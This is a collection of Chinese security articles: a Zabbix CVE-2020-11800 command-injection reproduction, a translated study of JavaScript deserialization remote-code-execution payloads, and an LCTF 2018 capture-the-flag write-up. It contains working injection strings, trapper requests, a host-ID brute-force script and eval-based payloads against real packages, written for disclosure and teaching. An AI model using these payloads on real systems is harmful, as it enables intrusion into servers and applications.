这种技术最突出的一点是Excel和子进程将作为调用用户而启动的。通常是在与当前登录的用户不同的用户帐户的进程上下文中创建的。如果你在进程列表中发现唯一的两个进程的启动用户是那种通常不登录到该主机的用户账户的话，那这可能就是攻击者启动的恶意进程。
* 本文翻译自<https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/>，如若转载，请注明原文地址： <http://www.4hou.com/system/7816.html> | 社区文章 |
# CVE-2020-11800 Zabbix远程代码执行漏洞
## 漏洞描述
Zabbix Server的trapper命令处理，存在命令注入漏洞，可导致远程代码执行。
## 漏洞影响
远程代码执行
CVSSv3 Score
9.0 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
AC: HIGH 需要服务端配置开启自动注册，或者Zabbix Proxy（会认证主机名）自动发现。
## 影响版本
Zabbix 3.0.x~3.0.30
<https://www.zabbix.com/cn/download?zabbix=3.0>
## 漏洞分析
该漏洞原理与CVE-2017-2824相同，参考
<https://talosintelligence.com/reports/TALOS-2017-0325>
active
checks是自动注册的命令字，自动注册的本意是agent可主动将主机注册给server进行监控，在2.2.18版本中可以在IP中注入（参见上文的版本分析处，2.2.19版本才增加了ip校验）shell命令。CVE-2017-2824提到的漏洞在discovery
data命令字即自动发现功能中，由于没有校验IP，导致可在IP中写入shell命令，进而在执行script cmd时达到命令注入。
比如在IP中写入内容
;touch /tmp/zabbix_pwned
那么执行ping命令时就变为
/bin/ping -c 3 ;touch /tmp/zabbix_pwned 2>&1
CVE-2017-2824在3.0.x的修复办法是，对IP进行校验，代码如下：
但是校验IP的方法可以被绕过，Ipv4校验没问题，ipv6校验可绕过:
输入为ffff:::;touch /tmp/1234pwn即可绕过，进而实现命令注入。
## 漏洞复现
### 添加自动注册规则
访问portal登录，依次点击菜单Configuration->Actions，将Event source调整为Auto registration
点击Create action后，第一个页签随便写一个名字
第二个页签设置条件
可配置host name、proxy和host metadata包含或不包含某个关键字，为了复现方便这里留空。
第三个页签，指定操作，可以为发送消息、添加主机等，这里要选择Add host。
以上规则的意思就是任意自动注册的host，没有任何拒绝规则，都会直接添加到server中。
### 注册host
{"request":"active checks","host":"helloworld","ip":"ffff:::;touch /tmp/1234pwn"}
执行以上trapper命令，利用自动注册添加host
### 暴破hostid
利用command命令字，暴破得到上一步添加的host的id
def doCmd(ip, cmd):
s = remote(ip, 10051)
#length = socket.htonl(len(cmd))
length = len(cmd)
payload = 'ZBXD' + '\x01' + p32(length) + p32(0) + cmd
s.send(payload)
rsp = s.recv(400)
info = json.loads(rsp)['info']
print info
if info.startswith('Unknown Host ID'):
s.close()
return False
s.close()
return True
def hostid_bruteforce():
for ip in ipList:
try:
for i in range(10000, 20000):
cmd_fmt = '{"request":"command","scriptid":"3","hostid":"%d","nodeid":"0"}'
cmd = cmd_fmt%i
rsp = doCmd(ip, cmd)
try:
r = json.loads(rsp)['response']
if r == 'success':
print 'hostid = %d' % i
except Exception as e:
print e
except Exception as e:
print e
### 触发命令注入
{"request":"command","scriptid":"1","hostid":"10106","nodeid":"0"}
执行ping命令，在server主机生成/tmp/1234pwn文件，注入成功。
## 修复建议
正确限制IP
## 附录
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11800>
<https://support.zabbix.com/browse/ZBX-17600>
<https://support.zabbix.com/browse/ZBXSEC-30> | 社区文章 |
# 反序列化漏洞：在JS中利用反序列化漏洞
|
##### 译文声明
本文是翻译文章，文章来源：acunetix.com
原文地址：<https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/>
译文仅供参考，具体内容表达以及含义原文为准。
在2017年的ZeroNights会议上，我做了一个关于“各种语言的反序列化漏洞”的演讲。关于我的演讲，我引用了一篇关于两个Node.js序列化包的文章。我将它们作为一个例子来展示反序列化l漏洞被攻击的过程。在这篇文章中，我将展示一下我自己的研究成果以及在JS中反序列化漏洞攻击的新方法。
## 之前的研究
上面的文章中提到的两个软件包node-serialize和serialize-to-js。它们都可以把对象序列化为JSON格式，但与标准函数（JSON.parse，JSON.stringify）不同，它们几乎允许任何类型的对象序列化，例如函数。(在JavaScript中，函数是一个对象)。所以，下面的代码是一个有用的对象。
var obj = {
field1: "value1",
field2: function(){
return 1;
}
}
但是如果我使用JSON.stringify序列化，会得到。
{ field1: "value1" }
为了实现对各种对象的支持，node-serialize，内部使用eval
{"anything_here":"_$$ND_FUNC$$_function (){сonsole.log(1)}"}
这是带有函数的序列化对象的样子。在反序列化的过程中，特殊标记ND_FUNC之后的任何内容都直接进入eval函数。因此，我们可以使用
IIFE(如文章中所述)或者直接 编写代码(如文章评论所述)。
使用IIFE(立即调用函数表达式)，我们所要做的是添加一个函数到序列化中,比如下面的第一行代码，在反序列化过程中将被定义，然后自动被调用。
{"anything_here":"$$ND_FUNC$$function (){сonsole.log(1)}()"} {"anything_here":"$$ND_FUNC$$console.log(1)"}
下一个例子是serialize-to-js。虽然它不支持函数作为一种类型，但由于它在反序列化过程中使用了下一个构造，因此它的实现仍然不安全。
return (new Function('"use strict"; return ' + str))()
上面代码中的str可以被攻击者控制。
实际上，这只是eval的变体。我们可以使用下面的payload来实现远程命令执行，如下：
console.log(`exploited`)
(function (){сonsole.log(1)}())
## 更安全的方式？
在ZeroNights演讲之后，我发现一个来自雅虎的序列化包。它也支持函数的序列化。但是，这个包不包含任何反序列化的功能，需要你自己去实现。它们的例子是直接使用eval。所以我感兴趣看看是否有其他软件包支持函数序列化，并且没有使用eval或者类似函数。
实际上，有很多序列化库(大约40或60)。我查看了其中一些，发现反序列化的一种更安全的方法是根据对象类型使用不同的构造函数。例如，一个包为函数返回新的Function（params，body），其中params和body从特定的JSON字段中获取。在这种情况下，函数被重建，但攻击者不能强制执行代码。
我还发现另一个含有漏洞的软件包funcster,它的利用方式和前面提到的IIFE相同。所以攻击者可以在反序列化过程中执行恶意代码。下面是一个有效的攻击payload
{ __js_function: 'function testa(){var pr = this.constructor.constructor("return process")(); pr.stdout.write("param-pam-pam") }()' }
该包使用另外一种方法进行序列化/反序列化。在反序列化过程中，通过JSON文件创建一个带有导出函数的新模块。以下是一部分代码：
return "module.exports=(function(module,exports){return{" + entries + "};})();";
这里一个有趣的不同点是标准的内置对象不可以访问，因为它们超出了范围。这意味着我们可以执行自己的代码，但是不能调用内置对象的方法。如果我们使用console.log()或require(something)，Node将返回一个异常，例如“ReferenceError：console
is not defined”。
由于我们可以访问全局上下文，因此仍然可以轻松获取所有的内容。
var pr = this.constructor.constructor("console.log(1111)")();
这里this.constructor.constructor为我们提供了Function对象，我们将代码设置为一个参数并使用IIFE调用它。
## 用Prototype更深入一步
当我研究软件包的时候，我也发现了其他语言使用的反序列化攻击方法。为了实现代码执行，攻击者利用控制数据的函数，这些数据在反序列化过程中自动调用，或者在应用程序与新创建的对象进行交互之后调用。类似于其他语言中的“魔术方法”。
实际上，有很多软件包的工作方式完全不同，在经过一些实验之后，我发现了一个有趣的(semi-universal)半通用攻击。它基于两个条件。
首先，许多软件包在反序列化过程中使用下一种方法。它们创建一个空对象，然后使用方括号表示法设置其属性：
obj[key]=value
其中的key和value取自JSON 。
因此，作为攻击者，实际上我们可以控制新对象的任何属性。如果查看属性列表，并将注意力集中在cool **proto**
property。这个属性用于修改和访问对象的原型，这意味着我们可以改变这个对象的行为和添加/修改它的方法。
其次，调用某个函数会导致调用函数参数的方法。例如，当一个对象转换为一个字符串时，该对象的方法valueOf，toString会自动调用（这里有更多细节)。所以，console.log（obj）导致调用obj.toString（）。另一个例子，JSON.stringify（obj）在内部调用obj.toJSON()。
使用这两个功能，我们可以在应用程序（node.js）和对象之间的交互过程中获得远程代码执行。
我发现了一个很好的例子 – 包Cryo，它支持函数序列化和用于对象重构的方括号表示法，但不易受IIFE影响，因为它可以正确管理对象（不使用eval＆co)。
以下是一个对象的序列化和反序列化的代码：
cvar Cryo = require('cryo');
var obj = {
testFunc : function() {return 1111;}
};
var frozen = Cryo.stringify(obj);
console.log(frozen)
var hydrated = Cryo.parse(frozen);
console.log(hydrated);
序列化的JSON看起来像以下：
{"root":"_CRYO_REF_1","references":[{"contents":{},"value":"_CRYO_FUNCTION_function () {return 1111;}"},{"contents":{"testFunc":"_CRYO_REF_0"},"value":"_CRYO_OBJECT_"}]}
作为攻击者，我们可以用自定义 **proto** 创建一个序列化的JSON对象。我们可以用我们自己的方法创建对象原型的对象。一个小技巧，我们可以为
**proto** 设置一个不正确的名称（因为我们不想在应用程序中重写对象的原型）并将其序列化。
var obj = {
__proto: {
toString: function() {console.log("defconrussia"); return 1111;},
valueOf: function() {console.log("defconrussia"); return 2222;}
}
};
所以我们得到序列化的对象，并将其从 **proto重命名为** proto__：
{"root":"CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log("defconrussia"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function () {return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT"},{"contents":{"proto":"CRYO_REF_2"},"value":"_CRYO_OBJECT"}]}
当我们将JSON有效载荷发送给应用程序时，Cryo包反序列化有效载荷为一个对象，但也会将对象的原型更改为我们的值。因此，如果应用程序以某种方式与对象交互，例如将其转换为sting，那么原型的方法将被调用并且我们的代码将被执行。这就是代码执行。
我试图找到具有类似问题的包，但其中大多数不支持函数的序列化。我没有找到其他方法来重建 **proto**
中的函数。尽管如此，许多软件包使用方括号表示，我们也可以为它们重写 **proto**
，并破坏新创建对象的原型。当应用程序调用这些对象的任何原型方法时会发生什么？由于未处理的TypeError异常，它可能会崩溃。
另外，我提到整个想法可能适用于任何格式的反序列化,不仅是JSON格式。一旦两个功能同时使用，一个软件包就有可能受到攻击。另一件事是JSON.parse对
**proto** 重写不会造成攻击。
函数stringify == eval
我又发现一种序列化对象的方法。这个方法是先对函数进行字符串化，然后对整个对象进行JSON字符串化。“反序列化”由相同的步骤且相反的顺序组成。函数字符串化的例子包含cardigan,
nor-function等其他的一些包。它们都是不安全的，由于eval＆co函数，并允许在无字符串转换过程中使用IIFE执行代码。
## 结论
对于测试者来说，仔细查看方括号表示并且访问 **proto** ,在某些情况下会有惊奇的发现。
对于开发人员：我在这里写一些软件包是含有漏洞的，但是当用户输入测试到易受攻击的功能时，您的应用程序才会受到攻击。一些软件包是以这种“不安全”的方式创建的，不会被修复。但是不要惊慌，只要检查一下你是否依赖于非标准的序列化包，以及如何处理用户的输入。
我使用HackerOne的程序与他们的维护者共享有关这两个漏洞的信息。funcster软件包的描述中增加了一条警告消息。但是我们无法联系到cryo的开发人员。
PS：感谢HackerOne的[@lirantal](https://github.com/lirantal "@lirantal")对上述漏洞的支持。
## 参考
Exploiting Node.js deserialization bug for Remote Code Execution
审核人：yiwang 编辑：边边 | 社区文章 |
> Team: Aurora
首先感谢L-CTF出题的师傅们为我们带来了一场精彩的CTF比赛，出题和运维的大佬们都辛苦了！
[TOC]
# Misc
### 签到题
计算器算出来答案是-2
# Web
### bestphp's revenge
打开题目发现有点像2018Xctf-final决赛的一道题
首先这道题有一个回调函数，参数可控，session的内容也可控，同时扫描后台还发现了flag.php,如下
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!
题目开始之后给了个hint：反序列化。
参考：[PHP中SESSION反序列化机制](https://blog.spoock.com/2016/10/16/php-serialize-problem/)
php中的session中的内容并不是放在内存中的，而是以文件的方式来存储的，存储方式就是由配置项session.save_handler来进行确定的，默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的，文件的内容就是session值的序列化之后的内容。
php的默认是php引擎，所以我们想要利用，需要先把引擎修改为php_serialize。
从flag.php可以看到，想要把flag写进session，需要本地访问，这里想到ssrf，而之前暨南大学招新赛的一道web题中提到了soap导致的ssrf，这个soap这个内置类刚好符合我们这道题
于是思路就有了，通过session反序列化攻击，触发ssrf去访问flag.php页面，把flag写进session里面。但是这里注意到，触发ssrf是如果不带上自己cookie去访问的话，是写不进自己session里面，这里需要利用到soap+crlf。
下面是攻击过程
然后通过变量覆盖，回调函数让soap去调用welcome_to_the_lctf2018方法，不存在，去调用_call方法，触发ssrf，写入session，最终得到flag
### T4lk 1s ch34p,sh0w m3 the sh31l
题目给了源码
<?php
$SECRET = `../read_secret`;
$SANDBOX = "../data/" . md5($SECRET. $_SERVER["REMOTE_ADDR"]);
$FILEBOX = "../file/" . md5("K0rz3n". $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@mkdir($FILEBOX);
if (!isset($_COOKIE["session-data"])) {
$data = serialize(new User($SANDBOX));
$hmac = hash_hmac("md5", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}
class K0rz3n_secret_flag {
protected $file_path;
function __destruct(){
if(preg_match('/(log|etc|session|proc|read_secret|history|class)/i', $this->file_path)){
die("Sorry Sorry Sorry");
}
include_once($this->file_path);
}
}
function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)){
die("Bye");
}
if ( !hash_equals(hash_hmac("md5", $data, $SECRET), $hmac) ){
die("Bye Bye");
}
$data = unserialize($data);
if ( !isset($data->avatar) ){
die("Bye Bye Bye");
}
return $data->avatar;
}
function upload($path) {
if(isset($_GET['url'])){
if(preg_match('/^(http|https).*/i', $_GET['url'])){
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a"){
die("Fuck off");
}
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}else{
die("Hacker");
}
}else{
die("Miss the URL~~");
}
}
function show($path) {
if ( !is_dir($path) || !file_exists($path . "/avatar.gif")) {
$path = "/var/www";
}
header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}
function check($path){
if(isset($_GET['c'])){
if(preg_match('/^(ftp|php|zlib|data|glob|phar|ssh2|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file)(.|\\s)*/i',$_GET['c'])){
die("Hacker Hacker Hacker");
}else{
$file_path = $_GET['c'];
list($width, $height, $type) = @getimagesize($file_path);
die("Width is ：" . $width." px<br>" .
"Height is ：" . $height." px<br>");
}
}else{
list($width, $height, $type) = @getimagesize($path."/avatar.gif");
die("Width is ：" . $width." px<br>" .
"Height is ：" . $height." px<br>");
}
}
function move($source_path,$dest_name){
global $FILEBOX;
$dest_path = $FILEBOX . "/" . $dest_name;
if(preg_match('/(log|etc|session|proc|root|secret|www|history|file|\.\.|ftp|php|phar|zlib|data|glob|ssh2|rar|ogg|expect|http|https)/i',$source_path)){
die("Hacker Hacker Hacker");
}else{
if(copy($source_path,$dest_path)){
die("Successful copy");
}else{
die("Copy failed");
}
}
}
$mode = $_GET["m"];
if ($mode == "upload"){
upload(check_session());
}
else if ($mode == "show"){
show(check_session());
}
else if ($mode == "check"){
check(check_session());
}
else if($mode == "move"){
move($_GET['source'],$_GET['dest']);
}
else{
highlight_file(__FILE__);
}
include("./comments.html");
这题应该是HITCON2017的一道题的改版，通过阅读代码，思路如下：
上传一个phar包改名为avatar.gif，然后上传到vps，upload上去，然后check的时候触发反序列化，然后包含进来，执行命令
参考：<https://xz.aliyun.com/t/3190>
这里触发反序列化是用到了getimagesize($file_path)这个函数。
然后利用类似
参考：<https://blog.zsxsoft.com/post/38中提到的来绕过正则>
最终得到flag
### L playground2
这道题是赛后半个小时后做出来的，都怪在线逆pyc辣鸡2333
打开得到题目源码
import re
import os
http_schema = re.compile(r"https?")
url_parser = re.compile(r"(\w+)://([\w\-@\.:]+)/?([\w/_\-@&\?\.=%()]+)?(#[\w\-@&_\?()/%]+)?")
base_dir = os.path.dirname(os.path.abspath(__file__))
sandbox_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "sandbox")
def parse_file(path):
filename = os.path.join(sandbox_dir, path)
if "./" in filename or ".." in filename:
return "invalid content in url"
if not filename.startswith(base_dir):
return "url have to start with %s" % base_dir
if filename.endswith("py") or "flag" in filename:
return "invalid content in filename"
if os.path.isdir(filename):
file_list = os.listdir(filename)
return ", ".join(file_list)
elif os.path.isfile(filename):
with open(filename, "rb") as f:
content = f.read()
return content
else:
return "can't find file"
def parse(url):
fragments = url_parser.findall(url)
if len(fragments) != 1 or len(fragments[0]) != 4:
return("invalid url")
schema = fragments[0][0]
host = fragments[0][1]
path = fragments[0][2]
if http_schema.match(schema):
return "It's a valid http url"
elif schema == "file":
if host != "sandbox":
return "wrong file path"
return parse_file(path)
else:
return "unknown schema"
@app.route('/sandbox')
def render_static():
url = request.args.get("url")
try:
if url is None or url == "":
content = "no url input"
else:
content = parse(url)
resp = make_response(content)
except Exception:
resp = make_response("url error")
resp.mimetype = "text/plain"
return resp
然后通过逆pyc文件得到main.py，hash.py，session.p，utils.py
源码后面给出
可以看到这里的hexdigest_group是一位一位加密得到的，所以我们只要分别得到a,d,m,i,n的hexdigest_group，这里通过不断清cookie得到即可伪造admin得到flag
a:b962d95efd252479
d:84407154c863ef36
m:e80346042c47531a
i:6e1beb0db216d969
n:b020cd1cf4031b57
MFSG22LO.b962d95efd25247984407154c863ef36e80346042c47531a6e1beb0db216d969b020cd1cf4031b57
main.py
# uncompyle6 version 3.2.3
# Python bytecode 3.7 (3394)
# Decompiled from: Python 2.7.15 (v2.7.15:ca079a3ea3, Apr 30 2018, 16:30:26) [MSC v.1500 64 bit (AMD64)]
# Embedded file name: main.py
# Size of source mod 2**32: 1135 bytes
from flask import Flask, escape, request, make_response, render_template
from session import *
from utils import *
from flag import FLAG
from parser import parse
app = Flask(__name__)
@app.route('/')
def index():
user = request.cookies.get('user', '')
try:
username = session_decode(user)
except Exception:
username = get_username()
content = escape(username)
else:
if username == 'admin':
content = escape(FLAG)
else:
content = escape(username)
resp = make_response(render_template('main.html', content=content))
return resp
@app.route('/sandbox')
def render_static():
if not check_token(request.args.get('token')):
resp = make_response('invalid request')
else:
url = request.args.get('url')
try:
if url is None or url == '':
content = 'no url input'
else:
content = parse(url)
resp = make_response(content)
except Exception:
resp = make_response('url error')
resp.mimetype = 'text/plain'
return resp
app.run(port=5000)
session.py
# uncompyle6 version 3.2.3
# Python bytecode 3.7 (3394)
# Decompiled from: Python 2.7.15 (v2.7.15:ca079a3ea3, Apr 30 2018, 16:30:26) [MSC v.1500 64 bit (AMD64)]
# Embedded file name: session.py
# Size of source mod 2**32: 718 bytes
import base64
from hash import MDA
from flag import seed
def encode(info):
return str(base64.b32encode(bytes(info, 'utf-8')), 'utf-8')
def decode(info):
return str(base64.b32decode(bytes(info, 'utf-8')), 'utf-8')
def hash_encode(info):
md = MDA('seed')
return md.grouping(info)
def hash_verify(hash_info, info):
return hash_encode(info) == hash_info
def session_encode(info):
return '%s.%s' % (encode(info), hash_encode(info))
def session_decode(info):
info_list = str.split(info, '.')
if len(info_list) != 2:
raise Exception('error info')
info_ = decode(info_list[0])
if not hash_verify(info_list[1], info_):
raise Exception('hash wrong')
return info_
print(session_encode('admin'))
hash.py
# uncompyle6 version 3.2.4
# Python bytecode 3.7 (3394)
# Decompiled from: Python 2.7.15 (v2.7.15:ca079a3ea3, Apr 30 2018, 16:30:26) [MSC v.1500 64 bit (AMD64)]
# Embedded file name: hash.py
# Size of source mod 2**32: 4512 bytes
__metaclass__ = type
import random, struct
def _bytelist2long(list):
imax = len(list) // 4
hl = [0] * imax
j = 0
i = 0
while i < imax:
b0 = ord(list[j])
b1 = ord(list[j + 1]) << 8
b2 = ord(list[j + 2]) << 16
b3 = ord(list[j + 3]) << 24
hl[i] = b0 | b1 | b2 | b3
i = i + 1
j = j + 4
return hl
def _rotateLeft(x, n):
return x << n | x >> 32 - n
def F(x, y, z):
return x & y | ~x & z
def G(x, y, z):
return x & z | y & ~z
def H(x, y, z):
return x ^ y ^ z
def I(x, y, z):
return y ^ (x | ~z)
def XX(func, a, b, c, d, x, s, ac):
res = 0
res = res + a + func(b, c, d)
res = res + x
res = res + ac
res = res & 65535
res = _rotateLeft(res, s)
res = res & 65535
res = res + b
return res & 65535
class MDA:
def __init__(self, seed='lctf2018'):
self.seed = seed
self.init()
def init(self):
self.length = 0
self.count = [0, 0]
self.input = []
random.seed(self.seed)
self.A = random.randint(3326, 27529)
self.B = random.randint(3326, 27529)
self.C = random.randint(3326, 27529)
self.D = random.randint(3326, 27529)
def _transform(self, inp):
a, b, c, d = A, B, C, D = (
self.A, self.B, self.C, self.D)
S11, S12, S13, S14 = (7, 12, 17, 22)
a = XX(F, a, b, c, d, inp[0], S11, 42104)
d = XX(F, d, a, b, c, inp[1], S12, 46934)
c = XX(F, c, d, a, b, inp[2], S13, 28891)
b = XX(F, b, c, d, a, inp[3], S14, 52974)
S21, S22, S23, S24 = (5, 9, 14, 20)
a = XX(G, a, b, c, d, inp[1], S21, 9570)
b = XX(G, b, c, d, a, inp[0], S24, 51114)
c = XX(G, c, d, a, b, inp[3], S23, 3463)
d = XX(G, d, a, b, c, inp[2], S22, 41976)
S31, S32, S33, S34 = (4, 11, 16, 23)
a = XX(H, a, b, c, d, inp[1], S31, 59972)
d = XX(H, d, a, b, c, inp[0], S32, 10234)
c = XX(H, c, d, a, b, inp[3], S33, 12421)
b = XX(H, b, c, d, a, inp[2], S34, 22117)
S41, S42, S43, S44 = (6, 10, 15, 21)
a = XX(I, a, b, c, d, inp[0], S41, 8772)
d = XX(I, d, a, b, c, inp[3], S42, 52370)
b = XX(I, b, c, d, a, inp[1], S44, 24017)
c = XX(I, c, d, a, b, inp[2], S43, 53947)
A = A + a & 32767
B = B + b & 32767
C = C + c & 32767
D = D + d & 32767
self.A, self.B, self.C, self.D = (
A, B, C, D)
def update(self, inBuf):
leninBuf = len(inBuf)
index = self.count[0] >> 3 & 15
self.count[0] = self.count[0] + (leninBuf << 3)
if self.count[0] < leninBuf << 3:
self.count[1] = self.count[1] + 1
self.count[1] = self.count[1] + (leninBuf >> 29)
partLen = 16 - index
if leninBuf >= partLen:
self.input[index:] = list(inBuf[:partLen])
self._transform(_bytelist2long(self.input))
i = partLen
while i + 15 < leninBuf:
self._transform(_bytelist2long(list(inBuf[i:i + 16])))
i = i + 16
else:
self.input = list(inBuf[i:leninBuf])
else:
i = 0
self.input = self.input + list(inBuf)
def insert(self, inBuf):
self.init()
self.update(inBuf)
def digest(self):
A = self.A
B = self.B
C = self.C
D = self.D
input = [] + self.input
count = [] + self.count
index = self.count[0] >> 3 & 15
if index < 8:
padLen = 8 - index
else:
padLen = 24 - index
padding = [''] + ['\x00'] * 15
self.update(padding[:padLen])
bits = _bytelist2long(self.input[:8]) + count
self._transform(bits)
digest = struct.pack('<hhhh', self.A, self.B, self.C, self.D)
self.A = A
self.B = B
self.C = C
self.D = D
self.input = input
self.count = count
return digest
def hexdigest(self):
return ''.join(['%02x' % ord(chr(c)) for c in self.digest()])
def grouping(self, inBufGroup):
hexdigest_group = ''
for inBuf in inBufGroup:
self.insert(inBuf)
hexdigest_group += self.hexdigest()
return hexdigest_group
util.py
# uncompyle6 version 3.2.3
# Python bytecode 3.7 (3394)
# Decompiled from: Python 2.7.15 (v2.7.15:ca079a3ea3, Apr 30 2018, 16:30:26) [MSC v.1500 64 bit (AMD64)]
# Embedded file name: utils.py
# Size of source mod 2**32: 1470 bytes
import random, string, base64, datetime
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
key = 'lctf2018lctf2018'
block_size = 16
def random_str(length=5):
random.seed(None)
return ''.join((random.choice(string.ascii_letters + string.digits) for _ in range(length)))
def get_username():
username = random_str(length=5)
if username != 'admin':
return username
else:
return get_username()
def check_token(token):
if token == '' or token is None:
return False
try:
token = str.replace(token, ' ', '+')
token = base64.b64decode(token)
cipher = AES.new(key, AES.MODE_ECB)
token = cipher.decrypt(token)
token = unpad(token, block_size)
token = str(token, 'utf-8')
except Exception as e:
try:
return False
finally:
e = None
del e
token = str.split(token, '@')
if len(token) != 4:
return False
try:
w = int(token[0])
h = int(token[1])
ua = token[2]
ts = datetime.datetime.fromtimestamp(int(token[3][:-3]))
except Exception as e:
try:
return False
finally:
e = None
del e
if w < 100 or h < 100:
return False
if 'urllib' in ua or 'requests' in ua or 'PhantomJS' in ua or 'Python' in ua or 'Scrapy' in ua or 'curl' in ua or 'Wget' in ua:
return False
now = datetime.datetime.now()
if ts < now + (datetime.timedelta(minutes=3)):
if ts > now - (datetime.timedelta(minutes=3)):
return True
return False
# RE
### 拿去签到吧朋友
===================================
先是把输入的数据构建了一个二叉树，每一个节点是一个结构体
struct Bitree{
int data;
int subscript;//下标
Bitree *lchild;
Bitree *rchild;
};
构建的时候采取递归的方法，函数0040174C是构建二叉树的函数。比节点数据大的作为右孩子，小的作为左孩子，如果左（右）孩子存在了，则以此节点为参数继续执行0040174C函数，作为递归。
之后004017DD是二叉树的先序遍历函数，内存0040B610存放先序遍历的结果，内存0040B640存放对应数据的下标，至此初始化完成。
函数sub_401D6E为加密及校验函数。先把先序遍历转成二进制（每个字节的内容放进八个字节内，作为二进制表示），再对八个字节的二进制数进行一些swap和xor操作。大概可以猜到是DES，key是`fa1conn`。des之后得到36字节的密文，作为一个6*6的矩阵和另一个6*6的常矩阵相乘，得到的结果再跟常量矩阵对比。由此，可以解出先序遍历的结果。
from numpy import*
from Crypto.Cipher import DES
A=[[0x17,0x41,0x18,0x4E,0x2B,0x38],[0x3B,0x43,0x15,0x2B,0x2D,0x4C],[0x17,0x36,0x4C,0x0C,0x41,0x2B],[0x59,0x28,0x20,0x43,0x49,0x39],[0x17,0x2D,0x1F,0x36,0x1F,0x34],[0x0D,0x18,0x36,0x41,0x22,0x18]]
mA=matrix(A)
B=[[0x0AA92,0x0C006,0x0A815,0x0C920,0x0D095,0x0CAD1],[0x7004,0x9B3C,0x68A1,0x0A2C1,0x8B5B,0x9EB5],[0x7E37,0x7AA2,0x4F95,0x0A344,0x82AC,0x8C00],[0x432B,0x71F7,0x732D,0x6E76,0x70A1,0x6F34],[0x0B465,0x0E401,0x0AF37,0x0DAD2,0x0DF89,0x0ECFA],[0x657D,0x6838,0x5FCE,0x977C,0x71F4,0x759E]]
mB=matrix(B)
mX=mB*mA.I
X=matrix.tolist(mX)
cipher=''
for i in range(6):
for j in range(6):
X[i][j]=int(round(X[i][j]))
cipher+=hex(X[i][j])[2:].zfill(2)
cipher+='733CF57C'
print(cipher)
cipher=cipher.decode('hex')
key='fa1conn\x00'
des = DES.new(key, DES.MODE_ECB)
plain=des.decrypt(cipher)
print(plain)
LC-+)=1234@AFETRS{the^VYXZfislrvxyz}
之后在`00401ACC`比对了前半部分的下标，至此可以解出前半部分。
后面又有一个smc，把先序遍历数值做seed。接出来可以得到后半部分下标，就能得到完整flag了。
### MSP430
拿到手是一个接线图，一个hex文件，一个hex转成elf的.out，一个输出的内容图片
出题人已经告诉我们了单片机型好MSP430G2553。用ida打开lctf.out，在processor
type中选择MSP430，就可以反汇编了。但是ida对msp430的分析优化不足，有些东西会缺失（也可能是hex转成的elf出了问题），只能连蒙带猜的做。
先去找一份msp430的指令集，对着指令集看汇编。
函数名和一些全局变量名都保留了，还是有突破口的，现在函数名内浏览一遍，发现了RC keygen main
等函数，大概猜到用的是RC4。先从main函数开始看。先call keygen函数，参数是全局变量key的地址（R12），这里应该是key初始化的函数。
分析这个keygen函数，先把一个0x28地址的内容放到R15，我猜这里是出了问题的，所以并不知道地址里放了什么东西，假设这个数据为i，后面几句就比较清晰了，key[4]=i*3,
key[5]=i*2,key[6]=i&0x74,key[7]=i+0x50;这里只得到了后四位key,剩下的部分暂时不知道。
接下来回到main继续。在RC4_code的参数中有8，猜测是key的长度。找一下字符串，看到只有`0123456789abcdefLCTF0000`这个字符串，最后四位都是0，感觉是把之前的四位填进去了，所以猜测key是LCTFxxxx。后四位都是从一个byte数据得到的，所以可以尝试爆key。脚本如下：
from Crypto.Cipher import ARC4
cipher = "2db7b1a0bda4772d11f04412e96e037c370be773cd982cb03bc1eade".decode("hex")
for i in xrange(0x100):
k4 = (i * 3) & 0xFF
k5 = (i * 2) & 0xFF
k6 = ((i & 0x74) * 2) & 0xFF
k7 = (i + 0x50) & 0xFF
key = "LCTF" + chr(k4) + chr(k5) + chr(k6) + chr(k7)
arc4 = ARC4.new(key)
plain = arc4.decrypt(cipher)
if(plain.find("CTF") != -1):
print(plain)
直接可以得到flag，也是比较幸运
### easyvm
Vm题
603080开始是三段bytecode
sub_4009D2函数分三次对三段bytecode操作，sub_401722和sub_4017C2是对寄存器的赋值与还原，中间的sub_401502函数是操作函数，详细分析bytecode，可以得出它的操作过程：
1.计算输入长度，校验是否等于0x1C
2.将输入的每一位ch进行如下操作:
ch=((ch*0x3f)+0x78)%0x80
3.与常量校验
把flag爆破出来就行了
a=[0x3E,0x1A,0x56,0x0D,0x52,0x13,0x58,0x5A,0x6E,0x5C,0x0F,0x5A,0x46,0x07,0x09,0x52,0x25,0x5C,0x4C,0x0A,0x0A,0x56,0x33,0x40,0x15,0x07,0x58,0x0F]
a.reverse()
b=[]
for i in range(28):
b.append(0)
for i in range(28):
for j in range(0x7F):
if ((j *0x3f)+0x7B)%0x80==a[i]:
b[i]=j
s=''
for i in range(28):
s+=chr(b[i])
print(s)
lctf{He11o_Virtual_Machine!}
### b2w
from struct import unpack
f = open("./out.wav", "rb")
header = f.read(0xC)
fmt = f.read(0x18)
data = f.read(0x8)
buf = f.read()
f.close()
channel = 2
rate = 48000
length = 90000
key = bytearray("LCTF{LcTF_1s_S0Oo0Oo_c0o1_6uT_tH1S_iS_n0t_fL4g}")
ln = len(key)
tmp = bytearray(buf)
